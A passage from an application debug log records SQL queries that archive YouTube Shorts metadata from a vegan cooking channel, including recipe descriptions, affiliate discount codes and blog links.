Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This lentil recipe makes the best waffles\uFFFC 🧇", "aac3b510-d808-428a-aced-102b05686e16", 1, [], false, "Pf1HLLo87oc", "https://www.youtube.com/shorts/Pf1HLLo87oc", 3, "/downloads/downloads/alec/Steamy Vegan/2026-03-12 This lentil recipe makes the best waffles\uFFFC 🧇/This lentil recipe makes the best waffles\uFFFC 🧇 [Pf1HLLo87oc].NA", false, false, true, 1, ~U[2026-03-12 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil waffle recipe is high protein and is a super easy recipe as it only uses a couple of ingredients! One of the best healthy vegan recipes you'll make this year guaranteed. If you're looking for a high protein, vegan and gluten-free waffle then you'll love this recipe!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the Lentil Waffle recipe on my blog! ➡️ https://steamyvegan.com/lentil-waffles/\n\nWant to add extra protein to this recipe? I've used the unflavored protein powder from Comlement and it works perfectly. Use my affiliate code to save a few bucks too:\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nCheck out these other lentil recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\n5 Lentil Recipes I Make on Repeat: \u00A0\u00A0\u00A0•\u00A05\u00A0lentil\u00A0recipes\u00A0I\u00A0eat\u00A0EVERY\u00A0month\u00A0(and\u00A0so...\u00A0\u00A0\n\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This lentil recipe makes the best waffles\uFFFC 🧇", 1, nil, false, "Pf1HLLo87oc", "https://www.youtube.com/shorts/Pf1HLLo87oc", "/downloads/downloads/alec/Steamy Vegan/2026-03-12 This lentil recipe makes the best waffles\uFFFC 🧇/This lentil recipe makes the best waffles\uFFFC 🧇 [Pf1HLLo87oc].NA", true, ~U[2026-03-12 00:00:00Z]] 20:31:08.852 [debug] QUERY OK source="sources" db=0.6ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.855 [debug] QUERY OK source="media_items" db=2.9ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-30 00:00:00Z], 1] 20:31:08.857 [debug] QUERY OK source="media_items" db=1.0ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is everything I meal prepped last week on a vegan diet. All of these vegan recipes are high-protein, gluten-free, and super easy to make. They come in at roughly 100g of protein per day and 1300 calories which leaves room for some sweet treats like the muggins I bought below.\n\nCheck out Wellbean's Muggins and Bean Bars with my discount code\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES IN THIS VIDEO\nCrustless Chick'n Pot Pie https://steamyvegan.com/crustless-veg...\nTandoori Tofu Casserole https://steamyvegan.com/tandoori-tofu...\nVegan Sausage and Egg Casserole https://steamyvegan.com/sausage-egg-c...\n\nWant to watch the full episodes of each recipe, check them out below:\nBreakfast Sausage and Egg Casserole: \u00A0\u00A0\u00A0•\u00A05\u00A0MUST\u00A0TRY\u00A0Healthy\u00A0Breakfast\u00A0Ideas\u00A0🌱\u00A0(high...\u00A0\u00A0\nCrustless Chicken Pot Pie: \u00A0\u00A0\u00A0•\u00A0One\u00A0of\u00A0the\u00A0COZIEST\u00A0one\u00A0pot\u00A0meals\u00A0you\u00A0need\u00A0...\u00A0\u00A0\nTandoori Tofu Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0Vegan\u00A0Casseroles\u00A0Ft.\u00A0@...\u00A0\u00A0", "What I Meal Prep as a Vegan 100g protein 1300 cals 💪", "fbbc13c0-d61d-4ea9-a2ea-aa0d0c32a18f", 1, [], false, "BuTDBaIe25Q", "https://www.youtube.com/shorts/BuTDBaIe25Q", 4, "/downloads/downloads/alec/Steamy Vegan/2026-01-30 What I Meal Prep as a Vegan 100g protein 1300 cals 💪/What I Meal Prep as a Vegan 100g protein 1300 cals 💪 [BuTDBaIe25Q].NA", false, false, true, 1, ~U[2026-01-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This is everything I meal prepped last week on a vegan diet. All of these vegan recipes are high-protein, gluten-free, and super easy to make. They come in at roughly 100g of protein per day and 1300 calories which leaves room for some sweet treats like the muggins I bought below.\n\nCheck out Wellbean's Muggins and Bean Bars with my discount code\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES IN THIS VIDEO\nCrustless Chick'n Pot Pie https://steamyvegan.com/crustless-veg...\nTandoori Tofu Casserole https://steamyvegan.com/tandoori-tofu...\nVegan Sausage and Egg Casserole https://steamyvegan.com/sausage-egg-c...\n\nWant to watch the full episodes of each recipe, check them out below:\nBreakfast Sausage and Egg Casserole: \u00A0\u00A0\u00A0•\u00A05\u00A0MUST\u00A0TRY\u00A0Healthy\u00A0Breakfast\u00A0Ideas\u00A0🌱\u00A0(high...\u00A0\u00A0\nCrustless Chicken Pot Pie: \u00A0\u00A0\u00A0•\u00A0One\u00A0of\u00A0the\u00A0COZIEST\u00A0one\u00A0pot\u00A0meals\u00A0you\u00A0need\u00A0...\u00A0\u00A0\nTandoori Tofu Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0Vegan\u00A0Casseroles\u00A0Ft.\u00A0@...\u00A0\u00A0", "What I Meal Prep as a Vegan 100g protein 1300 cals 💪", 1, nil, false, "BuTDBaIe25Q", "https://www.youtube.com/shorts/BuTDBaIe25Q", "/downloads/downloads/alec/Steamy Vegan/2026-01-30 What I Meal Prep as a Vegan 100g protein 1300 cals 💪/What I Meal Prep as a Vegan 100g protein 1300 cals 💪 [BuTDBaIe25Q].NA", true, ~U[2026-01-30 00:00:00Z]] 20:31:08.858 [debug] QUERY OK source="sources" db=0.7ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.860 [debug] QUERY OK source="media_items" db=1.9ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 00:00:00Z], 1] 20:31:08.861 [debug] QUERY OK source="media_items" db=0.8ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nLooking for some new vegan breakfast recipes that are high-protein, plant-based, gluten-free and actually fill you up? After 8 years on a vegan and gluten-free diet and 4 years creating vegan recipes on YouTube, these are my top 5 vegan breakfast recipes I'd recommend you try out. Enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES FROM THIS VIDEO 👇🏻\n1. VEGAN SAUSAGE & EGG BREAKFAST CASSEROLE 🔗 https://steamyvegan.com/sausage-egg-c...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n\n2. PROTEIN CEREAL 🔗 https://steamyvegan.com/protein-cereal/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n\n3. VEGAN BREAKFAST SAUSAGES 🔗 https://steamyvegan.com/vegan-breakfa...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0HIgh-Protein\u00A0VEGAN\u00A0Breakfast\u00A0Sausage\u00A0Recip...\u00A0\u00A0\n\n4. CARROT CAKE PUMPKIN SPICE OVERNIGHT OATS 🔗 https://steamyvegan.com/pumpkin-spice...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0High\u00A0Protein\u00A0Breakfast\u00A0Recipes\u00A0🍁\u00A0(Cozy,\u00A0...\u00A0\u00A0\n\n5. PROTEIN PANCAKES 🔗 https://steamyvegan.com/protein-panca...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Protein\u00A0Pancakes!\u00A0🥞\u00A0(High\u00A0Protein\u00A0Ve...\u00A0\u00A0", "HEALTHY Breakfast Ideas 🌱 What I Eat in a Week", "4e0afd18-eb5d-4426-a815-6ec3f27c4f5e", 1, [], false, "R3de8PzOLio", "https://www.youtube.com/shorts/R3de8PzOLio", 5, "/downloads/downloads/alec/Steamy Vegan/2026-01-13 HEALTHY Breakfast Ideas 🌱 What I Eat in a Week/HEALTHY Breakfast Ideas 🌱 What I Eat in a Week [R3de8PzOLio].NA", false, false, true, 1, ~U[2026-01-13 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nLooking for some new vegan breakfast recipes that are high-protein, plant-based, gluten-free and actually fill you up? After 8 years on a vegan and gluten-free diet and 4 years creating vegan recipes on YouTube, these are my top 5 vegan breakfast recipes I'd recommend you try out. Enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES FROM THIS VIDEO 👇🏻\n1. VEGAN SAUSAGE & EGG BREAKFAST CASSEROLE 🔗 https://steamyvegan.com/sausage-egg-c...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n\n2. PROTEIN CEREAL 🔗 https://steamyvegan.com/protein-cereal/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n\n3. VEGAN BREAKFAST SAUSAGES 🔗 https://steamyvegan.com/vegan-breakfa...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0HIgh-Protein\u00A0VEGAN\u00A0Breakfast\u00A0Sausage\u00A0Recip...\u00A0\u00A0\n\n4. CARROT CAKE PUMPKIN SPICE OVERNIGHT OATS 🔗 https://steamyvegan.com/pumpkin-spice...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0High\u00A0Protein\u00A0Breakfast\u00A0Recipes\u00A0🍁\u00A0(Cozy,\u00A0...\u00A0\u00A0\n\n5. PROTEIN PANCAKES 🔗 https://steamyvegan.com/protein-panca...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Protein\u00A0Pancakes!\u00A0🥞\u00A0(High\u00A0Protein\u00A0Ve...\u00A0\u00A0", "HEALTHY Breakfast Ideas 🌱 What I Eat in a Week", 1, nil, false, "R3de8PzOLio", "https://www.youtube.com/shorts/R3de8PzOLio", "/downloads/downloads/alec/Steamy Vegan/2026-01-13 HEALTHY Breakfast Ideas 🌱 What I Eat in a Week/HEALTHY Breakfast Ideas 🌱 What I Eat in a Week [R3de8PzOLio].NA", true, ~U[2026-01-13 00:00:00Z]] 20:31:08.862 [debug] QUERY OK source="sources" db=0.7ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.865 [debug] QUERY OK source="media_items" db=2.8ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-12 00:00:00Z], 1] 20:31:08.868 [debug] QUERY OK source="media_items" db=2.1ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This dump and bake casserole is a super easy vegan recipe that's perfect for meal prep. It's a savory vegan sausage and egg casserole that's high-protein, plant-based, and gluten-free. \n\nFull recipe write-up is over on my blog here: https://steamyvegan.com/sausage-egg-c...\n\nWant more vegan breakfast recipe inspo, check out my 5 favorite breakfast recipes as a vegan in this episode: \u00A0\u00A0\u00A0•\u00A05\u00A0MUST\u00A0TRY\u00A0Healthy\u00A0Breakfast\u00A0Ideas\u00A0🌱\u00A0(high...\u00A0\u00A0\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Vegan Sausage and Egg Casserole 🤤Easy Dump and Bake Casseroles", "585bf0d7-5734-47ef-9132-43e04c1389b3", 1, [], false, "n0Ujfp93fzw", "https://www.youtube.com/shorts/n0Ujfp93fzw", 6, "/downloads/downloads/alec/Steamy Vegan/2026-01-12 Vegan Sausage and Egg Casserole 🤤Easy Dump and Bake Casseroles/Vegan Sausage and Egg Casserole 🤤Easy Dump and Bake Casseroles [n0Ujfp93fzw].NA", false, false, true, 1, ~U[2026-01-12 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This dump and bake casserole is a super easy vegan recipe that's perfect for meal prep. It's a savory vegan sausage and egg casserole that's high-protein, plant-based, and gluten-free. \n\nFull recipe write-up is over on my blog here: https://steamyvegan.com/sausage-egg-c...\n\nWant more vegan breakfast recipe inspo, check out my 5 favorite breakfast recipes as a vegan in this episode: \u00A0\u00A0\u00A0•\u00A05\u00A0MUST\u00A0TRY\u00A0Healthy\u00A0Breakfast\u00A0Ideas\u00A0🌱\u00A0(high...\u00A0\u00A0\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Vegan Sausage and Egg Casserole 🤤Easy Dump and Bake Casseroles", 1, nil, false, "n0Ujfp93fzw", "https://www.youtube.com/shorts/n0Ujfp93fzw", "/downloads/downloads/alec/Steamy Vegan/2026-01-12 Vegan Sausage and Egg Casserole 🤤Easy Dump and Bake Casseroles/Vegan Sausage and Egg Casserole 🤤Easy Dump and Bake Casseroles [n0Ujfp93fzw].NA", true, ~U[2026-01-12 00:00:00Z]] 20:31:08.870 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.873 [debug] QUERY OK source="media_items" db=2.2ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-10 00:00:00Z], 1] 20:31:08.874 [debug] QUERY OK source="media_items" db=1.2ms idle=10.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This high protein vegan recipe is one of my new favourite dump and bake casseroles! It tastes just like a deconstructed vegan bacon cheeseburger in an easy casserole form that uses my vegan cashew cheese sauce and my vegan tofu bacon recipes. It's vegan, gluten-free, and takes 15 minutes to throw together in a casserole dish. \n\nVEGAN BACON CHEESEBURGER CASSEROLE recipe on my blog! ➡️ https://steamyvegan.com/bacon-cheeseb...\n🚨 Don't forget to sign up for my free recipe newsletter at https://steamyvegan.com ❗️\n\nCheck out a few of my other casserole recipes below:\nVegan Sausage and Egg Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nLentil Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nBroccoli and Chickpea Cheezy Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nMango Chickpea Curry Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nBlack Bean Enchilada Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nVegan Tuna Casserole: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0'Tuna'\u00A0Casserole!\u00A0One\u00A0of\u00A0My\u00A0FAVE\u00A0Pla...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Dump and Bake Bacon Cheeseburger Casserole - vegan and GF", "e1e65fca-8cd5-487c-a4a5-ab8e94066af4", 1, [], false, "gZgfBgtk5mI", "https://www.youtube.com/shorts/gZgfBgtk5mI", 7, "/downloads/downloads/alec/Steamy Vegan/2026-01-10 Dump and Bake Bacon Cheeseburger Casserole - vegan and GF/Dump and Bake Bacon Cheeseburger Casserole - vegan and GF [gZgfBgtk5mI].NA", false, false, true, 1, ~U[2026-01-10 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This high protein vegan recipe is one of my new favourite dump and bake casseroles! It tastes just like a deconstructed vegan bacon cheeseburger in an easy casserole form that uses my vegan cashew cheese sauce and my vegan tofu bacon recipes. It's vegan, gluten-free, and takes 15 minutes to throw together in a casserole dish. \n\nVEGAN BACON CHEESEBURGER CASSEROLE recipe on my blog! ➡️ https://steamyvegan.com/bacon-cheeseb...\n🚨 Don't forget to sign up for my free recipe newsletter at https://steamyvegan.com ❗️\n\nCheck out a few of my other casserole recipes below:\nVegan Sausage and Egg Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nLentil Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nBroccoli and Chickpea Cheezy Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nMango Chickpea Curry Casserole: 